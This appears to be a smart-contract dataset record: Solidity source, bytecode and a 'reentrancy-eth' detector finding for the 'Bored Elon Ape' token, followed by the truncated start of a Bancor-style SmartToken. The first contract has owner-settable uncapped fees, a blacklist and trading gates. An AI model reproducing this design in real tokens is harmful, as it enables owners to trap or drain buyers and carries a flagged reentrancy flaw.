function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BoredElonApe is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bored Elon Ape";
string private constant _symbol = "BEAPE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0xBCBD045A8f3D5a86F8bE0551C0b2F07E523F4eb2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000000000 * 10**9; //2
uint256 public _maxWalletSize = 4000000000000 * 10**9; //4
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd792841461052f578063c3c8cd801461055f578063dd62ed3e14610574578063ea1644d5146105ba57600080fd5b806398a5c3151461049f578063a2a957bb146104bf578063a9059cbb146104df578063bdd795ef146104ff57600080fd5b80638da5cb5b116100d15780638da5cb5b1461041d5780638f70ccf71461043b5780638f9a55c01461045b57806395d89b411461047157600080fd5b8063715018a6146103d257806374010ece146103e75780637d1db4a51461040757600080fd5b80632fd689e3116101645780636b9990531161013e5780636b9990531461035d5780636d8aa8f81461037d5780636fc3eaec1461039d57806370a08231146103b257600080fd5b80632fd689e31461030b578063313ce5671461032157806349bd5a5e1461033d57600080fd5b80631694505e116101a05780631694505e1461026c57806318160ddd146102a457806323b872dd146102cb5780632f9c4569146102eb57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023c57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611924565b6105da565b005b3480156101ff57600080fd5b5060408051808201909152600e81526d426f72656420456c6f6e2041706560901b60208201525b6040516102339190611a4e565b60405180910390f35b34801561024857600080fd5b5061025c6102573660046118f9565b610687565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b5069152d02c7e14af68000005b604051908152602001610233565b3480156102d757600080fd5b5061025c6102e6366004611885565b61069e565b3480156102f757600080fd5b506101f16103063660046118c5565b610707565b34801561031757600080fd5b506102bd60185481565b34801561032d57600080fd5b5060405160098152602001610233565b34801561034957600080fd5b5060155461028c906001600160a01b031681565b34801561036957600080fd5b506101f1610378366004611815565b6107cb565b34801561038957600080fd5b506101f16103983660046119eb565b610816565b3480156103a957600080fd5b506101f161085e565b3480156103be57600080fd5b506102bd6103cd366004611815565b61088b565b3480156103de57600080fd5b506101f16108ad565b3480156103f357600080fd5b506101f1610402366004611a05565b610921565b34801561041357600080fd5b506102bd60165481565b34801561042957600080fd5b506000546001600160a01b031661028c565b34801561044757600080fd5b506101f16104563660046119eb565b610950565b34801561046757600080fd5b506102bd60175481565b34801561047d57600080fd5b50604080518082019091526005815264424541504560d81b6020820152610226565b3480156104ab57600080fd5b506101f16104ba366004611a05565b610998565b3480156104cb57600080fd5b506101f16104da366004611a1d565b6109c7565b3480156104eb57600080fd5b5061025c6104fa3660046118f9565b610a05565b34801561050b57600080fd5b5061025c61051a366004611815565b60116020526000908152604090205460ff1681565b34801561053b57600080fd5b5061025c61054a366004611815565b60106020526000908152604090205460ff1681565b34801561056b57600080fd5b506101f1610a12565b34801561058057600080fd5b506102bd61058f36600461184d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101f16105d5366004611a05565b610a48565b6000546001600160a01b0316331461060d5760405162461bcd60e51b815260040161060490611aa1565b60405180910390fd5b60005b81518110156106835760016010600084848151811061063f57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067b81611bb4565b915050610610565b5050565b6000610694338484610a77565b5060015b92915050565b60006106ab848484610b9b565b6106fd84336106f885604051806060016040528060288152602001611c11602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061109e565b610a77565b5060019392505050565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161060490611aa1565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107a05760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e0000000000000000006044820152606401610604565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107f55760405162461bcd60e51b815260040161060490611aa1565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161060490611aa1565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461087e57600080fd5b47610888816110d8565b50565b6001600160a01b03811660009081526002602052604081205461069890611112565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260040161060490611aa1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461094b5760405162461bcd60e51b815260040161060490611aa1565b601655565b6000546001600160a01b0316331461097a5760405162461bcd60e51b815260040161060490611aa1565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109c25760405162461bcd60e51b815260040161060490611aa1565b601855565b6000546001600160a01b031633146109f15760405162461bcd60e51b815260040161060490611aa1565b600893909355600a91909155600955600b55565b6000610694338484610b9b565b6013546001600160a01b0316336001600160a01b031614610a3257600080fd5b6000610a3d3061088b565b905061088881611196565b6000546001600160a01b03163314610a725760405162461bcd60e51b815260040161060490611aa1565b601755565b6001600160a01b038316610ad95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610604565b6001600160a01b038216610b3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610604565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610604565b6001600160a01b038216610c615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610604565b60008111610cc35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610604565b6000546001600160a01b03848116911614801590610cef57506000546001600160a01b03838116911614155b15610f9157601554600160a01b900460ff16610d93576001600160a01b03831660009081526011602052604090205460ff16610d935760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610604565b601654811115610de55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610604565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2757506001600160a01b03821660009081526010602052604090205460ff16155b610e7f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610604565b6015546001600160a01b03838116911614610f045760175481610ea18461088b565b610eab9190611b46565b10610f045760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610604565b6000610f0f3061088b565b601854601654919250821015908210610f285760165491505b808015610f3f5750601554600160a81b900460ff16155b8015610f5957506015546001600160a01b03868116911614155b8015610f6e5750601554600160b01b900460ff165b15610f8e57610f7c82611196565b478015610f8c57610f8c476110d8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fd357506001600160a01b03831660009081526005602052604090205460ff165b8061100557506015546001600160a01b0385811691161480159061100557506015546001600160a01b03848116911614155b156110125750600061108c565b6015546001600160a01b03858116911614801561103d57506014546001600160a01b03848116911614155b1561104f57600854600c55600954600d555b6015546001600160a01b03848116911614801561107a57506014546001600160a01b03858116911614155b1561108c57600a54600c55600b54600d555b6110988484848461133b565b50505050565b600081848411156110c25760405162461bcd60e51b81526004016106049190611a4e565b5060006110cf8486611b9d565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610683573d6000803e3d6000fd5b60006006548211156111795760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610604565b6000611183611369565b905061118f838261138c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ec57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561124057600080fd5b505afa158015611254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112789190611831565b8160018151811061129957634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112bf9130911684610a77565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f8908590600090869030904290600401611ad6565b600060405180830381600087803b15801561131257600080fd5b505af1158015611326573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611348576113486113ce565b6113538484846113fc565b8061109857611098600e54600c55600f54600d55565b60008060006113766114f3565b9092509050611385828261138c565b9250505090565b600061118f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611537565b600c541580156113de5750600d54155b156113e557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061140e87611565565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061144090876115c2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146f9086611604565b6001600160a01b03891660009081526002602052604090205561149181611663565b61149b84836116ad565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e091815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af6800000611510828261138c565b82101561152e5750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115585760405162461bcd60e51b81526004016106049190611a4e565b5060006110cf8486611b5e565b60008060008060008060008060006115828a600c54600d546116d1565b9250925092506000611592611369565b905060008060006115a58e878787611726565b919e509c509a509598509396509194505050505091939550919395565b600061118f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061109e565b6000806116118385611b46565b90508381101561118f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610604565b600061166d611369565b9050600061167b8383611776565b306000908152600260205260409020549091506116989082611604565b30600090815260026020526040902055505050565b6006546116ba90836115c2565b6006556007546116ca9082611604565b6007555050565b60008080806116eb60646116e58989611776565b9061138c565b905060006116fe60646116e58a89611776565b90506000611716826117108b866115c2565b906115c2565b9992985090965090945050505050565b60008080806117358886611776565b905060006117438887611776565b905060006117518888611776565b905060006117638261171086866115c2565b939b939a50919850919650505050505050565b60008261178557506000610698565b60006117918385611b7e565b90508261179e8583611b5e565b1461118f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610604565b803561180081611bfb565b919050565b8035801515811461180057600080fd5b600060208284031215611826578081fd5b813561118f81611bfb565b600060208284031215611842578081fd5b815161118f81611bfb565b6000806040838503121561185f578081fd5b823561186a81611bfb565b9150602083013561187a81611bfb565b809150509250929050565b600080600060608486031215611899578081fd5b83356118a481611bfb565b925060208401356118b481611bfb565b929592945050506040919091013590565b600080604083850312156118d7578182fd5b82356118e281611bfb565b91506118f060208401611805565b90509250929050565b6000806040838503121561190b578182fd5b823561191681611bfb565b946020939093013593505050565b60006020808385031215611936578182fd5b823567ffffffffffffffff8082111561194d578384fd5b818501915085601f830112611960578384fd5b81358181111561197257611972611be5565b8060051b604051601f19603f8301168101818110858211171561199757611997611be5565b604052828152858101935084860182860187018a10156119b5578788fd5b8795505b838610156119de576119ca816117f5565b8552600195909501949386019386016119b9565b5098975050505050505050565b6000602082840312156119fc578081fd5b61118f82611805565b600060208284031215611a16578081fd5b5035919050565b60008060008060808587031215611a32578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7a57858101830151858201604001528201611a5e565b81811115611a8b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b255784516001600160a01b031683529383019391830191600101611b00565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5957611b59611bcf565b500190565b600082611b7957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9857611b98611bcf565b500290565b600082821015611baf57611baf611bcf565b500390565b6000600019821415611bc857611bc8611bcf565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c9173f3e7a76a897ff2437af1563cd4f71d0edcaa911da837e3f11dfe59554064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,444 |
0x901eeac0eef1f956d3f628ba02e47b9f65186955
|
pragma solidity ^0.4.24;
// File: contracts/interfaces/IOwned.sol
/*
Owned Contract Interface
*/
contract IOwned {
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
function transferOwnershipNow(address newContractOwner) public;
}
// File: contracts/utility/Owned.sol
/*
This is the "owned" utility contract used by bancor with one additional function - transferOwnershipNow()
The original unmodified version can be found here:
https://github.com/bancorprotocol/contracts/commit/63480ca28534830f184d3c4bf799c1f90d113846
Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
require(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
/**
@dev transfers the contract ownership without needing the new owner to accept ownership
@param newContractOwner new contract owner
*/
function transferOwnershipNow(address newContractOwner) ownerOnly public {
require(newContractOwner != owner);
emit OwnerUpdate(owner, newContractOwner);
owner = newContractOwner;
}
}
// File: contracts/utility/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
* From https://github.com/OpenZeppelin/openzeppelin-solidity/commit/a2e710386933d3002062888b35aae8ac0401a7b3
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
// File: contracts/interfaces/IERC20.sol
/*
Smart Token Interface
*/
contract IERC20 {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// File: contracts/interfaces/ISmartToken.sol
/**
@notice Smart Token Interface
*/
contract ISmartToken is IOwned, IERC20 {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
// File: contracts/SmartToken.sol
/*
This contract implements the required functionality to be considered a Bancor smart token.
Additionally it has custom token sale functionality and the ability to withdraw tokens accidentally deposited
// TODO abstract this into 3 contracts and inherit from them: 1) ERC20, 2) Smart Token, 3) Native specific functionality
*/
contract SmartToken is Owned, IERC20, ISmartToken {
/**
Smart Token Implementation
*/
bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false if not
/// @notice Triggered when a smart token is deployed - the _token address is defined for forward compatibility, in case we want to trigger the event from a factory
event NewSmartToken(address _token);
/// @notice Triggered when the total supply is increased
event Issuance(uint256 _amount);
// @notice Triggered when the total supply is decreased
event Destruction(uint256 _amount);
// @notice Verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
/// @notice Validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
/**
@dev disables/enables transfers
can only be called by the contract owner
@param _disable true to disable transfers, false to enable them
*/
function disableTransfers(bool _disable) public ownerOnly {
transfersEnabled = !_disable;
}
/**
@dev increases the token supply and sends the new tokens to an account
can only be called by the contract owner
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issue(address _to, uint256 _amount)
public
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@dev removes tokens from an account and decreases the token supply
can be called by the contract owner to destroy tokens from any account or by any holder to destroy tokens from his/her own account
@param _from account to remove the amount from
@param _amount amount to decrease the supply by
*/
